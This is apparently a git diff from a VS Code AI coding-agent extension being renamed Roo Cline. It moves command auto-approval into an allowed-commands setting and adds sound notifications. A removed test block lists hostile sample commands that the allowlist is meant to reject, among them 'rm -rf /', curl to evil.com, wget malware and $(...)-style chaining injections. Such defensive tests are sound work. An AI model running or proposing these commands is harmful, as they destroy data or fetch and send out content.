this.consecutiveMistakeCount = 0
|
||||
const didApprove = this.alwaysAllowBrowser || await askApproval("browser_action_launch", url)
|
||||
const didApprove = await askApproval("browser_action_launch", url)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
|
|
@ -1603,13 +1509,9 @@ export class Cline {
|
|||
const command: string | undefined = block.params.command
|
||||
try {
|
||||
if (block.partial) {
|
||||
if (this.alwaysAllowExecute && this.isAllowedCommand(command)) {
|
||||
await this.say("command", command, undefined, block.partial)
|
||||
} else {
|
||||
await this.ask("command", removeClosingTag("command", command), block.partial).catch(
|
||||
() => {}
|
||||
)
|
||||
}
|
||||
await this.ask("command", removeClosingTag("command", command), block.partial).catch(
|
||||
() => {}
|
||||
)
|
||||
break
|
||||
} else {
|
||||
if (!command) {
|
||||
|
|
@ -1621,8 +1523,7 @@ export class Cline {
|
|||
}
|
||||
this.consecutiveMistakeCount = 0
|
||||
|
||||
const didApprove = (this.alwaysAllowExecute && this.isAllowedCommand(command)) ||
|
||||
(await askApproval("command", command))
|
||||
const didApprove = await askApproval("command", command)
|
||||
if (!didApprove) {
|
||||
break
|
||||
}
|
||||
|
|
|
|||
|
|
@ -231,40 +231,14 @@ describe('Cline', () => {
|
|||
});
|
||||
|
||||
describe('constructor', () => {
|
||||
it('should initialize with default settings', () => {
|
||||
const cline = new Cline(
|
||||
mockProvider,
|
||||
mockApiConfig,
|
||||
undefined, // customInstructions
|
||||
undefined, // alwaysAllowReadOnly
|
||||
undefined, // alwaysAllowWrite
|
||||
undefined, // alwaysAllowExecute
|
||||
undefined, // alwaysAllowBrowser
|
||||
'test task'
|
||||
);
|
||||
|
||||
expect(cline.alwaysAllowReadOnly).toBe(false);
|
||||
expect(cline.alwaysAllowWrite).toBe(false);
|
||||
expect(cline.alwaysAllowExecute).toBe(false);
|
||||
expect(cline.alwaysAllowBrowser).toBe(false);
|
||||
});
|
||||
|
||||
it('should respect provided settings', () => {
|
||||
const cline = new Cline(
|
||||
mockProvider,
|
||||
mockApiConfig,
|
||||
'custom instructions',
|
||||
true, // alwaysAllowReadOnly
|
||||
true, // alwaysAllowWrite
|
||||
true, // alwaysAllowExecute
|
||||
true, // alwaysAllowBrowser
|
||||
'test task'
|
||||
);
|
||||
|
||||
expect(cline.alwaysAllowReadOnly).toBe(true);
|
||||
expect(cline.alwaysAllowWrite).toBe(true);
|
||||
expect(cline.alwaysAllowExecute).toBe(true);
|
||||
expect(cline.alwaysAllowBrowser).toBe(true);
|
||||
expect(cline.customInstructions).toBe('custom instructions');
|
||||
});
|
||||
|
||||
|
|
@ -277,142 +251,4 @@ describe('Cline', () => {
|
|||
}).toThrow('Either historyItem or task/images must be provided');
|
||||
});
|
||||
});
|
||||
|
||||
describe('file operations', () => {
|
||||
let cline: Cline;
|
||||
|
||||
beforeEach(() => {
|
||||
cline = new Cline(
|
||||
mockProvider,
|
||||
mockApiConfig,
|
||||
undefined,
|
||||
false,
|
||||
false,
|
||||
false,
|
||||
false,
|
||||
'test task'
|
||||
);
|
||||
});
|
||||
|
||||
it('should bypass approval when alwaysAllowWrite is true', async () => {
|
||||
const writeEnabledCline = new Cline(
|
||||
mockProvider,
|
||||
mockApiConfig,
|
||||
undefined,
|
||||
false,
|
||||
true, // alwaysAllowWrite
|
||||
false,
|
||||
false,
|
||||
'test task'
|
||||
);
|
||||
|
||||
expect(writeEnabledCline.alwaysAllowWrite).toBe(true);
|
||||
// The write operation would bypass approval in actual implementation
|
||||
});
|
||||
|
||||
it('should require approval when alwaysAllowWrite is false', async () => {
|
||||
const writeDisabledCline = new Cline(
|
||||
mockProvider,
|
||||
mockApiConfig,
|
||||
undefined,
|
||||
false,
|
||||
false, // alwaysAllowWrite
|
||||
false,
|
||||
false,
|
||||
'test task'
|
||||
);
|
||||
|
||||
expect(writeDisabledCline.alwaysAllowWrite).toBe(false);
|
||||
// The write operation would require approval in actual implementation
|
||||
});
|
||||
});
|
||||
|
||||
describe('isAllowedCommand', () => {
|
||||
let cline: any
|
||||
|
||||
beforeEach(() => {
|
||||
// Create a more complete mock provider
|
||||
const mockProvider = {
|
||||
context: {
|
||||
globalStorageUri: { fsPath: '/mock/path' }
|
||||
},
|
||||
postStateToWebview: jest.fn(),
|
||||
postMessageToWebview: jest.fn(),
|
||||
updateTaskHistory: jest.fn()
|
||||
}
|
||||
|
||||
// Mock the required dependencies
|
||||
const mockApiConfig = {
|
||||
getModel: () => ({
|
||||
id: 'claude-3-sonnet',
|
||||
info: { supportsComputerUse: true }
|
||||
})
|
||||
}
|
||||
|
||||
// Create test instance with mocked constructor params
|
||||
cline = new Cline(
|
||||
mockProvider as any,
|
||||
mockApiConfig as any,
|
||||
undefined, // customInstructions
|
||||
false, // alwaysAllowReadOnly
|
||||
false, // alwaysAllowWrite
|
||||
false, // alwaysAllowExecute
|
||||
false, // alwaysAllowBrowser
|
||||
'test task' // task
|
||||
)
|
||||
|
||||
// Mock internal methods that are called during initialization
|
||||
cline.initiateTaskLoop = jest.fn()
|
||||
cline.say = jest.fn()
|
||||
cline.addToClineMessages = jest.fn()
|
||||
cline.overwriteClineMessages = jest.fn()
|
||||
cline.addToApiConversationHistory = jest.fn()
|
||||
cline.overwriteApiConversationHistory = jest.fn()
|
||||
})
|
||||
|
||||
test('returns true for allowed commands', () => {
|
||||
expect(cline.isAllowedCommand('npm install')).toBe(true)
|
||||
expect(cline.isAllowedCommand('npx create-react-app')).toBe(true)
|
||||
expect(cline.isAllowedCommand('tsc --watch')).toBe(true)
|
||||
expect(cline.isAllowedCommand('git log --oneline')).toBe(true)
|
||||
expect(cline.isAllowedCommand('git diff main')).toBe(true)
|
||||
})
|
||||
|
||||
test('returns true regardless of case or whitespace', () => {
|
||||
expect(cline.isAllowedCommand('NPM install')).toBe(true)
|
||||
expect(cline.isAllowedCommand(' npm install')).toBe(true)
|
||||
expect(cline.isAllowedCommand('GIT DIFF')).toBe(true)
|
||||
})
|
||||
|
||||
test('returns false for non-allowed commands', () => {
|
||||
expect(cline.isAllowedCommand('rm -rf /')).toBe(false)
|
||||
expect(cline.isAllowedCommand('git push')).toBe(false)
|
||||
expect(cline.isAllowedCommand('git commit')).toBe(false)
|
||||
expect(cline.isAllowedCommand('curl http://example.com')).toBe(false)
|
||||
})
|
||||
|
||||
test('returns false for undefined or empty commands', () => {
|
||||
expect(cline.isAllowedCommand()).toBe(false)
|
||||
expect(cline.isAllowedCommand('')).toBe(false)
|
||||
expect(cline.isAllowedCommand(' ')).toBe(false)
|
||||
})
|
||||
|
||||
test('returns false for commands with chaining operators', () => {
|
||||
const maliciousCommands = [
|
||||
'npm install && rm -rf /',
|
||||
'git status; dangerous-command',
|
||||
'git log || evil-script',
|
||||
'git status | malicious-pipe',
|
||||
'git log $(evil-command)',
|
||||
'git status `rm -rf /`',
|
||||
'npm install && echo "malicious"',
|
||||
'git status; curl http://evil.com',
|
||||
'tsc --watch || wget malware',
|
||||
];
|
||||
|
||||
maliciousCommands.forEach(cmd => {
|
||||
expect(cline.isAllowedCommand(cmd)).toBe(false);
|
||||
});
|
||||
});
|
||||
})
|
||||
});
|
||||
|
|
|
|||
|
|
@ -20,6 +20,7 @@ import { Cline } from "../Cline"
|
|||
import { openMention } from "../mentions"
|
||||
import { getNonce } from "./getNonce"
|
||||
import { getUri } from "./getUri"
|
||||
import { playSound, setSoundEnabled } from "../../utils/sound"
|
||||
|
||||
/*
|
||||
https://github.com/microsoft/vscode-webview-ui-toolkit-samples/blob/main/default/weather-webview/src/providers/WeatherViewProvider.ts
|
||||
|
|
@ -60,6 +61,8 @@ type GlobalStateKey =
|
|||
| "azureApiVersion"
|
||||
| "openRouterModelId"
|
||||
| "openRouterModelInfo"
|
||||
| "allowedCommands"
|
||||
| "soundEnabled"
|
||||
|
||||
export const GlobalFileNames = {
|
||||
apiConversationHistory: "api_conversation_history.json",
|
||||
|
|
@ -68,8 +71,8 @@ export const GlobalFileNames = {
|
|||
}
|
||||
|
||||
export class ClineProvider implements vscode.WebviewViewProvider {
|
||||
public static readonly sideBarId = "claude-dev.SidebarProvider" // used in package.json as the view's id. This value cannot be changed due to how vscode caches views based on their id, and updating the id would break existing instances of the extension.
|
||||
public static readonly tabPanelId = "claude-dev.TabPanelProvider"
|
||||
public static readonly sideBarId = "roo-cline.SidebarProvider" // used in package.json as the view's id. This value cannot be changed due to how vscode caches views based on their id, and updating the id would break existing instances of the extension.
|
||||
public static readonly tabPanelId = "roo-cline.TabPanelProvider"
|
||||
private static activeInstances: Set<ClineProvider> = new Set()
|
||||
private disposables: vscode.Disposable[] = []
|
||||
private view?: vscode.WebviewView | vscode.WebviewPanel
|
||||
|
|
@ -197,20 +200,12 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
const {
|
||||
apiConfiguration,
|
||||
customInstructions,
|
||||
alwaysAllowReadOnly,
|
||||
alwaysAllowWrite,
|
||||
alwaysAllowExecute,
|
||||
alwaysAllowBrowser
|
||||
} = await this.getState()
|
||||
|
||||
this.cline = new Cline(
|
||||
this,
|
||||
apiConfiguration,
|
||||
customInstructions,
|
||||
alwaysAllowReadOnly,
|
||||
alwaysAllowWrite,
|
||||
alwaysAllowExecute,
|
||||
alwaysAllowBrowser,
|
||||
task,
|
||||
images
|
||||
)
|
||||
|
|
@ -221,20 +216,12 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
const {
|
||||
apiConfiguration,
|
||||
customInstructions,
|
||||
alwaysAllowReadOnly,
|
||||
alwaysAllowWrite,
|
||||
alwaysAllowExecute,
|
||||
alwaysAllowBrowser
|
||||
} = await this.getState()
|
||||
|
||||
this.cline = new Cline(
|
||||
this,
|
||||
apiConfiguration,
|
||||
customInstructions,
|
||||
alwaysAllowReadOnly,
|
||||
alwaysAllowWrite,
|
||||
alwaysAllowExecute,
|
||||
alwaysAllowBrowser,
|
||||
undefined,
|
||||
undefined,
|
||||
historyItem,
|
||||
|
|
@ -440,23 +427,18 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
break
|
||||
case "alwaysAllowReadOnly":
|
||||
await this.updateGlobalState("alwaysAllowReadOnly", message.bool ?? undefined)
|
||||
if (this.cline) {
|
||||
this.cline.alwaysAllowReadOnly = message.bool ?? false
|
||||
}
|
||||
await this.postStateToWebview()
|
||||
break
|
||||
case "alwaysAllowWrite":
|
||||
await this.updateGlobalState("alwaysAllowWrite", message.bool ?? undefined)
|
||||
if (this.cline) {
|
||||
this.cline.alwaysAllowWrite = message.bool ?? false
|
||||
}
|
||||
await this.postStateToWebview()
|
||||
break
|
||||
case "alwaysAllowExecute":
|
||||
await this.updateGlobalState("alwaysAllowExecute", message.bool ?? undefined)
|
||||
if (this.cline) {
|
||||
this.cline.alwaysAllowExecute = message.bool ?? false
|
||||
}
|
||||
await this.postStateToWebview()
|
||||
break
|
||||
case "alwaysAllowBrowser":
|
||||
await this.updateGlobalState("alwaysAllowBrowser", message.bool ?? undefined)
|
||||
await this.postStateToWebview()
|
||||
break
|
||||
case "askResponse":
|
||||
|
|
@ -531,15 +513,27 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
}
|
||||
|
||||
break
|
||||
case "alwaysAllowBrowser":
|
||||
await this.updateGlobalState("alwaysAllowBrowser", message.bool ?? undefined)
|
||||
if (this.cline) {
|
||||
this.cline.alwaysAllowBrowser = message.bool ?? false
|
||||
}
|
||||
await this.postStateToWebview()
|
||||
break
|
||||
case "allowedCommands":
|
||||
await this.context.globalState.update('allowedCommands', message.commands);
|
||||
// Also update workspace settings
|
||||
await vscode.workspace
|
||||
.getConfiguration('roo-cline')
|
||||
.update('allowedCommands', message.commands, vscode.ConfigurationTarget.Global);
|
||||
break;
|
||||
// Add more switch case statements here as more webview message commands
|
||||
// are created within the webview context (i.e. inside media/main.js)
|
||||
case "playSound":
|
||||
if (message.audioType) {
|
||||
const soundPath = path.join(this.context.extensionPath, "audio", `${message.audioType}.wav`)
|
||||
playSound(soundPath)
|
||||
}
|
||||
break
|
||||
case "soundEnabled":
|
||||
const enabled = message.bool ?? true
|
||||
await this.updateGlobalState("soundEnabled", enabled)
|
||||
setSoundEnabled(enabled)
|
||||
await this.postStateToWebview()
|
||||
break
|
||||
}
|
||||
},
|
||||
null,
|
||||
|
|
@ -840,14 +834,19 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
const {
|
||||
apiConfiguration,
|
||||
lastShownAnnouncementId,
|
||||
customInstructions,
|
||||
alwaysAllowReadOnly,
|
||||
alwaysAllowWrite,
|
||||
customInstructions,
|
||||
alwaysAllowReadOnly,
|
||||
alwaysAllowWrite,
|
||||
alwaysAllowExecute,
|
||||
alwaysAllowBrowser,
|
||||
taskHistory
|
||||
alwaysAllowBrowser,
|
||||
soundEnabled,
|
||||
taskHistory,
|
||||
} = await this.getState()
|
||||
|
||||
const allowedCommands = vscode.workspace
|
||||
.getConfiguration('roo-cline')
|
||||
.get<string[]>('allowedCommands') || []
|
||||
|
||||
return {
|
||||
version: this.context.extension?.packageJSON?.version ?? "",
|
||||
apiConfiguration,
|
||||
|
|
@ -861,7 +860,9 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
taskHistory: (taskHistory || [])
|
||||
.filter((item) => item.ts && item.task)
|
||||
.sort((a, b) => b.ts - a.ts),
|
||||
soundEnabled: soundEnabled ?? true,
|
||||
shouldShowAnnouncement: lastShownAnnouncementId !== this.latestAnnouncementId,
|
||||
allowedCommands,
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -947,8 +948,10 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
alwaysAllowReadOnly,
|
||||
alwaysAllowWrite,
|
||||
alwaysAllowExecute,
|
||||
taskHistory,
|
||||
alwaysAllowBrowser,
|
||||
taskHistory,
|
||||
allowedCommands,
|
||||
soundEnabled,
|
||||
] = await Promise.all([
|
||||
this.getGlobalState("apiProvider") as Promise<ApiProvider | undefined>,
|
||||
this.getGlobalState("apiModelId") as Promise<string | undefined>,
|
||||
|
|
@ -979,8 +982,10 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
this.getGlobalState("alwaysAllowReadOnly") as Promise<boolean | undefined>,
|
||||
this.getGlobalState("alwaysAllowWrite") as Promise<boolean | undefined>,
|
||||
this.getGlobalState("alwaysAllowExecute") as Promise<boolean | undefined>,
|
||||
this.getGlobalState("taskHistory") as Promise<HistoryItem[] | undefined>,
|
||||
this.getGlobalState("alwaysAllowBrowser") as Promise<boolean | undefined>,
|
||||
this.getGlobalState("taskHistory") as Promise<HistoryItem[] | undefined>,
|
||||
this.getGlobalState("allowedCommands") as Promise<string[] | undefined>,
|
||||
this.getGlobalState("soundEnabled") as Promise<boolean | undefined>,
|
||||
])
|
||||
|
||||
let apiProvider: ApiProvider
|
||||
|
|
@ -1031,6 +1036,8 @@ export class ClineProvider implements vscode.WebviewViewProvider {
|
|||
alwaysAllowExecute: alwaysAllowExecute ?? false,
|
||||
alwaysAllowBrowser: alwaysAllowBrowser ?? false,
|
||||
taskHistory,
|
||||
allowedCommands,
|
||||
soundEnabled,
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -26,6 +26,16 @@ export function activate(context: vscode.ExtensionContext) {
|
|||
|
||||
outputChannel.appendLine("Cline extension activated")
|
||||
|
||||
// Get default commands from configuration
|
||||
const defaultCommands = vscode.workspace
|
||||
.getConfiguration('roo-cline')
|
||||
.get<string[]>('allowedCommands') || [];
|
||||
|
||||
// Initialize global state if not already set
|
||||
if (!context.globalState.get('allowedCommands')) {
|
||||
context.globalState.update('allowedCommands', defaultCommands);
|
||||
}
|
||||
|
||||
const sidebarProvider = new ClineProvider(context, outputChannel)
|
||||
|
||||
context.subscriptions.push(
|
||||
|
|
@ -35,7 +45,7 @@ export function activate(context: vscode.ExtensionContext) {
|
|||
)
|
||||
|
||||
context.subscriptions.push(
|
||||
vscode.commands.registerCommand("cline.plusButtonClicked", async () => {
|
||||
vscode.commands.registerCommand("roo-cline.plusButtonClicked", async () => {
|
||||
outputChannel.appendLine("Plus button Clicked")
|
||||
await sidebarProvider.clearTask()
|
||||
await sidebarProvider.postStateToWebview()
|
||||
|
|
@ -66,8 +76,8 @@ export function activate(context: vscode.ExtensionContext) {
|
|||
// TODO: use better svg icon with light and dark variants (see https://stackoverflow.com/questions/58365687/vscode-extension-iconpath)
|
||||
|
||||
panel.iconPath = {
|
||||
light: vscode.Uri.joinPath(context.extensionUri, "assets", "icons", "robot_panel_light.png"),
|
||||
dark: vscode.Uri.joinPath(context.extensionUri, "assets", "icons", "robot_panel_dark.png"),
|
||||
light: vscode.Uri.joinPath(context.extensionUri, "assets", "icons", "rocket.png"),
|
||||
dark: vscode.Uri.joinPath(context.extensionUri, "assets", "icons", "rocket.png"),
|
||||
}
|
||||
tabProvider.resolveWebviewView(panel)
|
||||
|
||||
|
|
@ -76,18 +86,18 @@ export function activate(context: vscode.ExtensionContext) {
|
|||
await vscode.commands.executeCommand("workbench.action.lockEditorGroup")
|
||||
}
|
||||
|
||||
context.subscriptions.push(vscode.commands.registerCommand("cline.popoutButtonClicked", openClineInNewTab))
|
||||
context.subscriptions.push(vscode.commands.registerCommand("cline.openInNewTab", openClineInNewTab))
|
||||
context.subscriptions.push(vscode.commands.registerCommand("roo-cline.popoutButtonClicked", openClineInNewTab))
|
||||
context.subscriptions.push(vscode.commands.registerCommand("roo-cline.openInNewTab", openClineInNewTab))
|
||||
|
||||
context.subscriptions.push(
|
||||
vscode.commands.registerCommand("cline.settingsButtonClicked", () => {
|
||||
vscode.commands.registerCommand("roo-cline.settingsButtonClicked", () => {
|
||||
//vscode.window.showInformationMessage(message)
|
||||
sidebarProvider.postMessageToWebview({ type: "action", action: "settingsButtonClicked" })
|
||||
}),
|
||||
)
|
||||
|
||||
context.subscriptions.push(
|
||||
vscode.commands.registerCommand("cline.historyButtonClicked", () => {
|
||||
vscode.commands.registerCommand("roo-cline.historyButtonClicked", () => {
|
||||
sidebarProvider.postMessageToWebview({ type: "action", action: "historyButtonClicked" })
|
||||
}),
|
||||
)
|
||||
|
|
|
|||
|
|
@ -30,6 +30,9 @@ export interface ExtensionMessage {
|
|||
|
||||
export interface ExtensionState {
|
||||
version: string
|
||||
clineMessages: ClineMessage[]
|
||||
taskHistory: HistoryItem[]
|
||||
shouldShowAnnouncement: boolean
|
||||
apiConfiguration?: ApiConfiguration
|
||||
customInstructions?: string
|
||||
alwaysAllowReadOnly?: boolean
|
||||
|
|
@ -37,9 +40,8 @@ export interface ExtensionState {
|
|||
alwaysAllowExecute?: boolean
|
||||
alwaysAllowBrowser?: boolean
|
||||
uriScheme?: string
|
||||
clineMessages: ClineMessage[]
|
||||
taskHistory: HistoryItem[]
|
||||
shouldShowAnnouncement: boolean
|
||||
allowedCommands?: string[]
|
||||
soundEnabled?: boolean
|
||||
}
|
||||
|
||||
export interface ClineMessage {
|
||||
|
|
|
|||
|
|
@ -1,9 +1,12 @@
|
|||
import { ApiConfiguration, ApiProvider } from "./api"
|
||||
|
||||
export type AudioType = "notification" | "celebration" | "progress_loop"
|
||||
|
||||
export interface WebviewMessage {
|
||||
type:
|
||||
| "apiConfiguration"
|
||||
| "customInstructions"
|
||||
| "allowedCommands"
|
||||
| "alwaysAllowReadOnly"
|
||||
| "alwaysAllowWrite"
|
||||
| "alwaysAllowExecute"
|
||||
|
|
@ -26,11 +29,15 @@ export interface WebviewMessage {
|
|||
| "cancelTask"
|
||||
| "refreshOpenRouterModels"
|
||||
| "alwaysAllowBrowser"
|
||||
| "playSound"
|
||||
| "soundEnabled"
|
||||
text?: string
|
||||
askResponse?: ClineAskResponse
|
||||
apiConfiguration?: ApiConfiguration
|
||||
images?: string[]
|
||||
bool?: boolean
|
||||
commands?: string[]
|
||||
audioType?: AudioType
|
||||
}
|
||||
|
||||
export type ClineAskResponse = "yesButtonClicked" | "noButtonClicked" | "messageResponse"
|
||||
|
|
|
|||
68
src/utils/sound.ts
Normal file
68
src/utils/sound.ts
Normal file
|
|
@ -0,0 +1,68 @@
|
|||
import * as vscode from "vscode"
|
||||
import * as path from "path"
|
||||
|
||||
/**
|
||||
* Minimum interval (in milliseconds) to prevent continuous playback
|
||||
*/
|
||||
const MIN_PLAY_INTERVAL = 500
|
||||
|
||||
/**
|
||||
* Timestamp of when sound was last played
|
||||
*/
|
||||
let lastPlayedTime = 0
|
||||
|
||||
/**
|
||||
* Determine if a file is a WAV file
|
||||
* @param filepath string
|
||||
* @returns boolean
|
||||
*/
|
||||
export const isWAV = (filepath: string): boolean => {
|
||||
return path.extname(filepath).toLowerCase() === ".wav"
|
||||
}
|
||||
|
||||
let isSoundEnabled = true
|
||||
|
||||
/**
|
||||
* Set sound configuration
|
||||
* @param enabled boolean
|
||||
*/
|
||||
export const setSoundEnabled = (enabled: boolean): void => {
|
||||
isSoundEnabled = enabled
|
||||
}
|
||||
|
||||
/**
|
||||
* Play a sound file
|
||||
* @param filepath string
|
||||
* @return void
|
||||
*/
|
||||
export const playSound = (filepath: string): void => {
|
||||
try {
|
||||
if (!isSoundEnabled) {
|
||||
return
|
||||
}
|
||||
|
||||
if (!filepath) {
|
||||
return
|
||||
}
|
||||
|
||||
if (!isWAV(filepath)) {
|
||||
throw new Error("Only wav files are supported.")
|
||||
}
|
||||
|
||||
const currentTime = Date.now()
|
||||
if (currentTime - lastPlayedTime < MIN_PLAY_INTERVAL) {
|
||||
return // Skip playback within minimum interval to prevent continuous playback
|
||||
}
|
||||
|
||||
const player = require("play-sound")()
|
||||
player.play(filepath, function (err: any) {
|
||||
if (err) {
|
||||
throw new Error("Failed to play sound effect")
|
||||
}
|
||||
})
|
||||
|
||||
lastPlayedTime = currentTime
|
||||
} catch (error: any) {
|
||||
vscode.window.showErrorMessage(error.message)
|
||||
}
|
||||
}
|
||||
4448
webview-ui/package-lock.json
generated
4448
webview-ui/package-lock.json
generated
File diff suppressed because it is too large
Load diff
|
|
@ -52,6 +52,15 @@
|
|||
]
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/plugin-proposal-private-property-in-object": "^7.21.11",
|
||||
"@types/vscode-webview": "^1.57.5"
|
||||
},
|
||||
"jest": {
|
||||
"transformIgnorePatterns": [
|
||||
"/node_modules/(?!(rehype-highlight|react-remark|unist-util-visit|vfile|unified|bail|is-plain-obj|trough|vfile-message|unist-util-stringify-position|mdast-util-from-markdown|mdast-util-to-string|micromark|decode-named-character-reference|character-entities|markdown-table|zwitch|longest-streak|escape-string-regexp|unist-util-is|hast-util-to-text)/)"
|
||||
],
|
||||
"moduleNameMapper": {
|
||||
"\\.(css|less|scss|sass)$": "identity-obj-proxy"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -24,6 +24,7 @@ import BrowserSessionRow from "./BrowserSessionRow"
|
|||
import ChatRow from "./ChatRow"
|
||||
import ChatTextArea from "./ChatTextArea"
|
||||
import TaskHeader from "./TaskHeader"
|
||||
import { AudioType } from "../../../../src/shared/WebviewMessage"
|
||||
|
||||
interface ChatViewProps {
|
||||
isHidden: boolean
|
||||
|
|
@ -35,7 +36,7 @@ interface ChatViewProps {
|
|||
export const MAX_IMAGES_PER_MESSAGE = 20 // Anthropic limits to 20 images
|
||||
|
||||
const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryView }: ChatViewProps) => {
|
||||
const { version, clineMessages: messages, taskHistory, apiConfiguration } = useExtensionState()
|
||||
const { version, clineMessages: messages, taskHistory, apiConfiguration, alwaysAllowBrowser, alwaysAllowReadOnly, alwaysAllowWrite, alwaysAllowExecute, allowedCommands } = useExtensionState()
|
||||
|
||||
//const task = messages.length > 0 ? (messages[0].say === "task" ? messages[0] : undefined) : undefined) : undefined
|
||||
const task = useMemo(() => messages.at(0), [messages]) // leaving this less safe version here since if the first message is not a task, then the extension is in a bad state and needs to be debugged (see Cline.abort)
|
||||
|
|
@ -61,10 +62,24 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
const [showScrollToBottom, setShowScrollToBottom] = useState(false)
|
||||
const [isAtBottom, setIsAtBottom] = useState(false)
|
||||
|
||||
const [wasStreaming, setWasStreaming] = useState<boolean>(false)
|
||||
const [hasStarted, setHasStarted] = useState(false)
|
||||
|
||||
// UI layout depends on the last 2 messages
|
||||
// (since it relies on the content of these messages, we are deep comparing. i.e. the button state after hitting button sets enableButtons to false, and this effect otherwise would have to true again even if messages didn't change
|
||||
const lastMessage = useMemo(() => messages.at(-1), [messages])
|
||||
const secondLastMessage = useMemo(() => messages.at(-2), [messages])
|
||||
|
||||
function playSound(audioType: AudioType) {
|
||||
vscode.postMessage({ type: "playSound", audioType })
|
||||
}
|
||||
|
||||
function playSoundOnMessage(audioType: AudioType) {
|
||||
if (hasStarted && !isStreaming) {
|
||||
playSound(audioType)
|
||||
}
|
||||
}
|
||||
|
||||
useDeepCompareEffect(() => {
|
||||
// if last message is an ask, show user ask UI
|
||||
// if user finished a task, then start a new task with a new conversation history since in this moment that the extension is waiting for user response, the user could close the extension and the conversation history would be lost.
|
||||
|
|
@ -75,6 +90,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
const isPartial = lastMessage.partial === true
|
||||
switch (lastMessage.ask) {
|
||||
case "api_req_failed":
|
||||
playSoundOnMessage("progress_loop")
|
||||
setTextAreaDisabled(true)
|
||||
setClineAsk("api_req_failed")
|
||||
setEnableButtons(true)
|
||||
|
|
@ -82,6 +98,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
setSecondaryButtonText("Start New Task")
|
||||
break
|
||||
case "mistake_limit_reached":
|
||||
playSoundOnMessage("progress_loop")
|
||||
setTextAreaDisabled(false)
|
||||
setClineAsk("mistake_limit_reached")
|
||||
setEnableButtons(true)
|
||||
|
|
@ -89,6 +106,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
setSecondaryButtonText("Start New Task")
|
||||
break
|
||||
case "followup":
|
||||
playSoundOnMessage("notification")
|
||||
setTextAreaDisabled(isPartial)
|
||||
setClineAsk("followup")
|
||||
setEnableButtons(isPartial)
|
||||
|
|
@ -96,6 +114,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
// setSecondaryButtonText(undefined)
|
||||
break
|
||||
case "tool":
|
||||
playSoundOnMessage("notification")
|
||||
setTextAreaDisabled(isPartial)
|
||||
setClineAsk("tool")
|
||||
setEnableButtons(!isPartial)
|
||||
|
|
@ -113,6 +132,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
}
|
||||
break
|
||||
case "browser_action_launch":
|
||||
playSoundOnMessage("notification")
|
||||
setTextAreaDisabled(isPartial)
|
||||
setClineAsk("browser_action_launch")
|
||||
setEnableButtons(!isPartial)
|
||||
|
|
@ -120,6 +140,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
setSecondaryButtonText("Reject")
|
||||
break
|
||||
case "command":
|
||||
playSoundOnMessage("notification")
|
||||
setTextAreaDisabled(isPartial)
|
||||
setClineAsk("command")
|
||||
setEnableButtons(!isPartial)
|
||||
|
|
@ -127,6 +148,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
setSecondaryButtonText("Reject")
|
||||
break
|
||||
case "command_output":
|
||||
playSoundOnMessage("notification")
|
||||
setTextAreaDisabled(false)
|
||||
setClineAsk("command_output")
|
||||
setEnableButtons(true)
|
||||
|
|
@ -135,6 +157,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
break
|
||||
case "completion_result":
|
||||
// extension waiting for feedback. but we can just present a new task button
|
||||
playSoundOnMessage("celebration")
|
||||
setTextAreaDisabled(isPartial)
|
||||
setClineAsk("completion_result")
|
||||
setEnableButtons(!isPartial)
|
||||
|
|
@ -142,6 +165,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
setSecondaryButtonText(undefined)
|
||||
break
|
||||
case "resume_task":
|
||||
playSoundOnMessage("notification")
|
||||
setTextAreaDisabled(false)
|
||||
setClineAsk("resume_task")
|
||||
setEnableButtons(true)
|
||||
|
|
@ -150,6 +174,7 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
setDidClickCancel(false) // special case where we reset the cancel button state
|
||||
break
|
||||
case "resume_completed_task":
|
||||
playSoundOnMessage("celebration")
|
||||
setTextAreaDisabled(false)
|
||||
setClineAsk("resume_completed_task")
|
||||
setEnableButtons(true)
|
||||
|
|
@ -441,6 +466,36 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
return true
|
||||
})
|
||||
}, [modifiedMessages])
|
||||
useEffect(() => {
|
||||
if (isStreaming) {
|
||||
// Set to true once any request has started
|
||||
setHasStarted(true)
|
||||
}
|
||||
// Only execute when isStreaming changes from true to false
|
||||
if (wasStreaming && !isStreaming && lastMessage) {
|
||||
// Play appropriate sound based on lastMessage content
|
||||
if (lastMessage.type === "ask") {
|
||||
switch (lastMessage.ask) {
|
||||
case "api_req_failed":
|
||||
case "mistake_limit_reached":
|
||||
playSound("progress_loop")
|
||||
break
|
||||
case "tool":
|
||||
case "followup":
|
||||
case "browser_action_launch":
|
||||
case "resume_task":
|
||||
playSound("notification")
|
||||
break
|
||||
case "completion_result":
|
||||
case "resume_completed_task":
|
||||
playSound("celebration")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
// Update previous value
|
||||
setWasStreaming(isStreaming)
|
||||
